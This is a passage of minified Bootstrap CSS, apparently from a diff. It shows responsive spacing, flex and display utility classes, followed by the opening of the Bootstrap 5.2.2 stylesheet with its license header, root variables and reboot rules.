md-2{padding:.5rem!important}.p-md-3{padding:1rem!important}.p-md-4{padding:1.5rem!important}.p-md-5{padding:3rem!important}.px-md-0{padding-right:0!important;padding-left:0!important}.px-md-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-md-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-md-3{padding-right:1rem!important;padding-left:1rem!important}.px-md-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-md-5{padding-right:3rem!important;padding-left:3rem!important}.py-md-0{padding-top:0!important;padding-bottom:0!important}.py-md-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-md-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-md-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-md-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-md-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-md-0{padding-top:0!important}.pt-md-1{padding-top:.25rem!important}.pt-md-2{padding-top:.5rem!important}.pt-md-3{padding-top:1rem!important}.pt-md-4{padding-top:1.5rem!important}.pt-md-5{padding-top:3rem!important}.pe-md-0{padding-right:0!important}.pe-md-1{padding-right:.25rem!important}.pe-md-2{padding-right:.5rem!important}.pe-md-3{padding-right:1rem!important}.pe-md-4{padding-right:1.5rem!important}.pe-md-5{padding-right:3rem!important}.pb-md-0{padding-bottom:0!important}.pb-md-1{padding-bottom:.25rem!important}.pb-md-2{padding-bottom:.5rem!important}.pb-md-3{padding-bottom:1rem!important}.pb-md-4{padding-bottom:1.5rem!important}.pb-md-5{padding-bottom:3rem!important}.ps-md-0{padding-left:0!important}.ps-md-1{padding-left:.25rem!important}.ps-md-2{padding-left:.5rem!important}.ps-md-3{padding-left:1rem!important}.ps-md-4{padding-left:1.5rem!important}.ps-md-5{padding-left:3rem!important}.gap-md-0{gap:0!important}.gap-md-1{gap:.25rem!important}.gap-md-2{gap:.5rem!important}.gap-md-3{gap:1rem!important}.gap-md-4{gap:1.5rem!important}.gap-md-5{gap:3rem!important}.text-md-start{text-align:left!important}.text-md-end{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.float-lg-start{float:left!important}.float-lg-end{float:right!important}.float-lg-none{float:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-grid{display:grid!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}.d-lg-none{display:none!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.justify-content-lg-evenly{justify-content:space-evenly!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}.order-lg-first{order:-1!important}.order-lg-0{order:0!important}.order-lg-1{order:1!important}.order-lg-2{order:2!important}.order-lg-3{order:3!important}.order-lg-4{order:4!important}.order-lg-5{order:5!important}.order-lg-last{order:6!important}.m-lg-0{margin:0!important}.m-lg-1{margin:.25rem!important}.m-lg-2{margin:.5rem!important}.m-lg-3{margin:1rem!important}.m-lg-4{margin:1.5rem!important}.m-lg-5{margin:3rem!important}.m-lg-auto{margin:auto!important}.mx-lg-0{margin-right:0!important;margin-left:0!important}.mx-lg-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-lg-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-lg-3{margin-right:1rem!important;margin-left:1rem!important}.mx-lg-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-lg-5{margin-right:3rem!important;margin-left:3rem!important}.mx-lg-auto{margin-right:auto!important;margin-left:auto!important}.my-lg-0{margin-top:0!important;margin-bottom:0!important}.my-lg-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-lg-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-lg-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-lg-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-lg-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-lg-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-lg-0{margin-top:0!important}.mt-lg-1{margin-top:.25rem!important}.mt-lg-2{margin-top:.5rem!important}.mt-lg-3{margin-top:1rem!important}.mt-lg-4{margin-top:1.5rem!important}.mt-lg-5{margin-top:3rem!important}.mt-lg-auto{margin-top:auto!important}.me-lg-0{margin-right:0!important}.me-lg-1{margin-right:.25rem!important}.me-lg-2{margin-right:.5rem!important}.me-lg-3{margin-right:1rem!important}.me-lg-4{margin-right:1.5rem!important}.me-lg-5{margin-right:3rem!important}.me-lg-auto{margin-right:auto!important}.mb-lg-0{margin-bottom:0!important}.mb-lg-1{margin-bottom:.25rem!important}.mb-lg-2{margin-bottom:.5rem!important}.mb-lg-3{margin-bottom:1rem!important}.mb-lg-4{margin-bottom:1.5rem!important}.mb-lg-5{margin-bottom:3rem!important}.mb-lg-auto{margin-bottom:auto!important}.ms-lg-0{margin-left:0!important}.ms-lg-1{margin-left:.25rem!important}.ms-lg-2{margin-left:.5rem!important}.ms-lg-3{margin-left:1rem!important}.ms-lg-4{margin-left:1.5rem!important}.ms-lg-5{margin-left:3rem!important}.ms-lg-auto{margin-left:auto!important}.p-lg-0{padding:0!important}.p-lg-1{padding:.25rem!important}.p-lg-2{padding:.5rem!important}.p-lg-3{padding:1rem!important}.p-lg-4{padding:1.5rem!important}.p-lg-5{padding:3rem!important}.px-lg-0{padding-right:0!important;padding-left:0!important}.px-lg-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-lg-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-lg-3{padding-right:1rem!important;padding-left:1rem!important}.px-lg-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-lg-5{padding-right:3rem!important;padding-left:3rem!important}.py-lg-0{padding-top:0!important;padding-bottom:0!important}.py-lg-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-lg-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-lg-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-lg-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-lg-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-lg-0{padding-top:0!important}.pt-lg-1{padding-top:.25rem!important}.pt-lg-2{padding-top:.5rem!important}.pt-lg-3{padding-top:1rem!important}.pt-lg-4{padding-top:1.5rem!important}.pt-lg-5{padding-top:3rem!important}.pe-lg-0{padding-right:0!important}.pe-lg-1{padding-right:.25rem!important}.pe-lg-2{padding-right:.5rem!important}.pe-lg-3{padding-right:1rem!important}.pe-lg-4{padding-right:1.5rem!important}.pe-lg-5{padding-right:3rem!important}.pb-lg-0{padding-bottom:0!important}.pb-lg-1{padding-bottom:.25rem!important}.pb-lg-2{padding-bottom:.5rem!important}.pb-lg-3{padding-bottom:1rem!important}.pb-lg-4{padding-bottom:1.5rem!important}.pb-lg-5{padding-bottom:3rem!important}.ps-lg-0{padding-left:0!important}.ps-lg-1{padding-left:.25rem!important}.ps-lg-2{padding-left:.5rem!important}.ps-lg-3{padding-left:1rem!important}.ps-lg-4{padding-left:1.5rem!important}.ps-lg-5{padding-left:3rem!important}.gap-lg-0{gap:0!important}.gap-lg-1{gap:.25rem!important}.gap-lg-2{gap:.5rem!important}.gap-lg-3{gap:1rem!important}.gap-lg-4{gap:1.5rem!important}.gap-lg-5{gap:3rem!important}.text-lg-start{text-align:left!important}.text-lg-end{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.float-xl-start{float:left!important}.float-xl-end{float:right!important}.float-xl-none{float:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-grid{display:grid!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}.d-xl-none{display:none!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.justify-content-xl-evenly{justify-content:space-evenly!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}.order-xl-first{order:-1!important}.order-xl-0{order:0!important}.order-xl-1{order:1!important}.order-xl-2{order:2!important}.order-xl-3{order:3!important}.order-xl-4{order:4!important}.order-xl-5{order:5!important}.order-xl-last{order:6!important}.m-xl-0{margin:0!important}.m-xl-1{margin:.25rem!important}.m-xl-2{margin:.5rem!important}.m-xl-3{margin:1rem!important}.m-xl-4{margin:1.5rem!important}.m-xl-5{margin:3rem!important}.m-xl-auto{margin:auto!important}.mx-xl-0{margin-right:0!important;margin-left:0!important}.mx-xl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xl-auto{margin-right:auto!important;margin-left:auto!important}.my-xl-0{margin-top:0!important;margin-bottom:0!important}.my-xl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xl-0{margin-top:0!important}.mt-xl-1{margin-top:.25rem!important}.mt-xl-2{margin-top:.5rem!important}.mt-xl-3{margin-top:1rem!important}.mt-xl-4{margin-top:1.5rem!important}.mt-xl-5{margin-top:3rem!important}.mt-xl-auto{margin-top:auto!important}.me-xl-0{margin-right:0!important}.me-xl-1{margin-right:.25rem!important}.me-xl-2{margin-right:.5rem!important}.me-xl-3{margin-right:1rem!important}.me-xl-4{margin-right:1.5rem!important}.me-xl-5{margin-right:3rem!important}.me-xl-auto{margin-right:auto!important}.mb-xl-0{margin-bottom:0!important}.mb-xl-1{margin-bottom:.25rem!important}.mb-xl-2{margin-bottom:.5rem!important}.mb-xl-3{margin-bottom:1rem!important}.mb-xl-4{margin-bottom:1.5rem!important}.mb-xl-5{margin-bottom:3rem!important}.mb-xl-auto{margin-bottom:auto!important}.ms-xl-0{margin-left:0!important}.ms-xl-1{margin-left:.25rem!important}.ms-xl-2{margin-left:.5rem!important}.ms-xl-3{margin-left:1rem!important}.ms-xl-4{margin-left:1.5rem!important}.ms-xl-5{margin-left:3rem!important}.ms-xl-auto{margin-left:auto!important}.p-xl-0{padding:0!important}.p-xl-1{padding:.25rem!important}.p-xl-2{padding:.5rem!important}.p-xl-3{padding:1rem!important}.p-xl-4{padding:1.5rem!important}.p-xl-5{padding:3rem!important}.px-xl-0{padding-right:0!important;padding-left:0!important}.px-xl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xl-0{padding-top:0!important;padding-bottom:0!important}.py-xl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xl-0{padding-top:0!important}.pt-xl-1{padding-top:.25rem!important}.pt-xl-2{padding-top:.5rem!important}.pt-xl-3{padding-top:1rem!important}.pt-xl-4{padding-top:1.5rem!important}.pt-xl-5{padding-top:3rem!important}.pe-xl-0{padding-right:0!important}.pe-xl-1{padding-right:.25rem!important}.pe-xl-2{padding-right:.5rem!important}.pe-xl-3{padding-right:1rem!important}.pe-xl-4{padding-right:1.5rem!important}.pe-xl-5{padding-right:3rem!important}.pb-xl-0{padding-bottom:0!important}.pb-xl-1{padding-bottom:.25rem!important}.pb-xl-2{padding-bottom:.5rem!important}.pb-xl-3{padding-bottom:1rem!important}.pb-xl-4{padding-bottom:1.5rem!important}.pb-xl-5{padding-bottom:3rem!important}.ps-xl-0{padding-left:0!important}.ps-xl-1{padding-left:.25rem!important}.ps-xl-2{padding-left:.5rem!important}.ps-xl-3{padding-left:1rem!important}.ps-xl-4{padding-left:1.5rem!important}.ps-xl-5{padding-left:3rem!important}.gap-xl-0{gap:0!important}.gap-xl-1{gap:.25rem!important}.gap-xl-2{gap:.5rem!important}.gap-xl-3{gap:1rem!important}.gap-xl-4{gap:1.5rem!important}.gap-xl-5{gap:3rem!important}.text-xl-start{text-align:left!important}.text-xl-end{text-align:right!important}.text-xl-center{text-align:center!important}}@media (min-width:1400px){.float-xxl-start{float:left!important}.float-xxl-end{float:right!important}.float-xxl-none{float:none!important}.d-xxl-inline{display:inline!important}.d-xxl-inline-block{display:inline-block!important}.d-xxl-block{display:block!important}.d-xxl-grid{display:grid!important}.d-xxl-table{display:table!important}.d-xxl-table-row{display:table-row!important}.d-xxl-table-cell{display:table-cell!important}.d-xxl-flex{display:flex!important}.d-xxl-inline-flex{display:inline-flex!important}.d-xxl-none{display:none!important}.flex-xxl-fill{flex:1 1 auto!important}.flex-xxl-row{flex-direction:row!important}.flex-xxl-column{flex-direction:column!important}.flex-xxl-row-reverse{flex-direction:row-reverse!important}.flex-xxl-column-reverse{flex-direction:column-reverse!important}.flex-xxl-grow-0{flex-grow:0!important}.flex-xxl-grow-1{flex-grow:1!important}.flex-xxl-shrink-0{flex-shrink:0!important}.flex-xxl-shrink-1{flex-shrink:1!important}.flex-xxl-wrap{flex-wrap:wrap!important}.flex-xxl-nowrap{flex-wrap:nowrap!important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xxl-start{justify-content:flex-start!important}.justify-content-xxl-end{justify-content:flex-end!important}.justify-content-xxl-center{justify-content:center!important}.justify-content-xxl-between{justify-content:space-between!important}.justify-content-xxl-around{justify-content:space-around!important}.justify-content-xxl-evenly{justify-content:space-evenly!important}.align-items-xxl-start{align-items:flex-start!important}.align-items-xxl-end{align-items:flex-end!important}.align-items-xxl-center{align-items:center!important}.align-items-xxl-baseline{align-items:baseline!important}.align-items-xxl-stretch{align-items:stretch!important}.align-content-xxl-start{align-content:flex-start!important}.align-content-xxl-end{align-content:flex-end!important}.align-content-xxl-center{align-content:center!important}.align-content-xxl-between{align-content:space-between!important}.align-content-xxl-around{align-content:space-around!important}.align-content-xxl-stretch{align-content:stretch!important}.align-self-xxl-auto{align-self:auto!important}.align-self-xxl-start{align-self:flex-start!important}.align-self-xxl-end{align-self:flex-end!important}.align-self-xxl-center{align-self:center!important}.align-self-xxl-baseline{align-self:baseline!important}.align-self-xxl-stretch{align-self:stretch!important}.order-xxl-first{order:-1!important}.order-xxl-0{order:0!important}.order-xxl-1{order:1!important}.order-xxl-2{order:2!important}.order-xxl-3{order:3!important}.order-xxl-4{order:4!important}.order-xxl-5{order:5!important}.order-xxl-last{order:6!important}.m-xxl-0{margin:0!important}.m-xxl-1{margin:.25rem!important}.m-xxl-2{margin:.5rem!important}.m-xxl-3{margin:1rem!important}.m-xxl-4{margin:1.5rem!important}.m-xxl-5{margin:3rem!important}.m-xxl-auto{margin:auto!important}.mx-xxl-0{margin-right:0!important;margin-left:0!important}.mx-xxl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xxl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xxl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xxl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xxl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xxl-auto{margin-right:auto!important;margin-left:auto!important}.my-xxl-0{margin-top:0!important;margin-bottom:0!important}.my-xxl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xxl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xxl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xxl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xxl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xxl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xxl-0{margin-top:0!important}.mt-xxl-1{margin-top:.25rem!important}.mt-xxl-2{margin-top:.5rem!important}.mt-xxl-3{margin-top:1rem!important}.mt-xxl-4{margin-top:1.5rem!important}.mt-xxl-5{margin-top:3rem!important}.mt-xxl-auto{margin-top:auto!important}.me-xxl-0{margin-right:0!important}.me-xxl-1{margin-right:.25rem!important}.me-xxl-2{margin-right:.5rem!important}.me-xxl-3{margin-right:1rem!important}.me-xxl-4{margin-right:1.5rem!important}.me-xxl-5{margin-right:3rem!important}.me-xxl-auto{margin-right:auto!important}.mb-xxl-0{margin-bottom:0!important}.mb-xxl-1{margin-bottom:.25rem!important}.mb-xxl-2{margin-bottom:.5rem!important}.mb-xxl-3{margin-bottom:1rem!important}.mb-xxl-4{margin-bottom:1.5rem!important}.mb-xxl-5{margin-bottom:3rem!important}.mb-xxl-auto{margin-bottom:auto!important}.ms-xxl-0{margin-left:0!important}.ms-xxl-1{margin-left:.25rem!important}.ms-xxl-2{margin-left:.5rem!important}.ms-xxl-3{margin-left:1rem!important}.ms-xxl-4{margin-left:1.5rem!important}.ms-xxl-5{margin-left:3rem!important}.ms-xxl-auto{margin-left:auto!important}.p-xxl-0{padding:0!important}.p-xxl-1{padding:.25rem!important}.p-xxl-2{padding:.5rem!important}.p-xxl-3{padding:1rem!important}.p-xxl-4{padding:1.5rem!important}.p-xxl-5{padding:3rem!important}.px-xxl-0{padding-right:0!important;padding-left:0!important}.px-xxl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xxl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xxl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xxl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xxl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xxl-0{padding-top:0!important;padding-bottom:0!important}.py-xxl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xxl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xxl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xxl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xxl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xxl-0{padding-top:0!important}.pt-xxl-1{padding-top:.25rem!important}.pt-xxl-2{padding-top:.5rem!important}.pt-xxl-3{padding-top:1rem!important}.pt-xxl-4{padding-top:1.5rem!important}.pt-xxl-5{padding-top:3rem!important}.pe-xxl-0{padding-right:0!important}.pe-xxl-1{padding-right:.25rem!important}.pe-xxl-2{padding-right:.5rem!important}.pe-xxl-3{padding-right:1rem!important}.pe-xxl-4{padding-right:1.5rem!important}.pe-xxl-5{padding-right:3rem!important}.pb-xxl-0{padding-bottom:0!important}.pb-xxl-1{padding-bottom:.25rem!important}.pb-xxl-2{padding-bottom:.5rem!important}.pb-xxl-3{padding-bottom:1rem!important}.pb-xxl-4{padding-bottom:1.5rem!important}.pb-xxl-5{padding-bottom:3rem!important}.ps-xxl-0{padding-left:0!important}.ps-xxl-1{padding-left:.25rem!important}.ps-xxl-2{padding-left:.5rem!important}.ps-xxl-3{padding-left:1rem!important}.ps-xxl-4{padding-left:1.5rem!important}.ps-xxl-5{padding-left:3rem!important}.gap-xxl-0{gap:0!important}.gap-xxl-1{gap:.25rem!important}.gap-xxl-2{gap:.5rem!important}.gap-xxl-3{gap:1rem!important}.gap-xxl-4{gap:1.5rem!important}.gap-xxl-5{gap:3rem!important}.text-xxl-start{text-align:left!important}.text-xxl-end{text-align:right!important}.text-xxl-center{text-align:center!important}}@media (min-width:1200px){.fs-1{font-size:2.5rem!important}.fs-2{font-size:2rem!important}.fs-3{font-size:1.75rem!important}.fs-4{font-size:1.5rem!important}}@media print{.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-grid{display:grid!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}.d-print-none{display:none!important}} +@charset "UTF-8";/*! + * Bootstrap v5.2.2 (https://getbootstrap.com/) + * Copyright 2011-2022 The Bootstrap Authors + * Copyright 2011-2022 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-body-color-rgb:33,37,41;--bs-body-bg-rgb:255,255,255;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-bg:#fff;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-2xl:2rem;--bs-border-radius-pill:50rem;--bs-link-color:#0d6efd;--bs-link-hover-color:#0a58ca;--bs-code-color:#d63384;--bs-highlight-bg:#fff3cd}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:1px solid;opacity:.25}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){.h1,h1{font-size:2.5rem}}.h2,h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){.h2,h2{font-size:2rem}}.h3,h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){.h3,h3{font-size:1.75rem}}.h4,h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){.h4,h4{font-size:1.5rem}}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{padding:.1875em;background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:var(--bs-link-color);text-decoration:underline}a:hover{color:var(--bs-link-hover-color)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:#6c757d;text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media 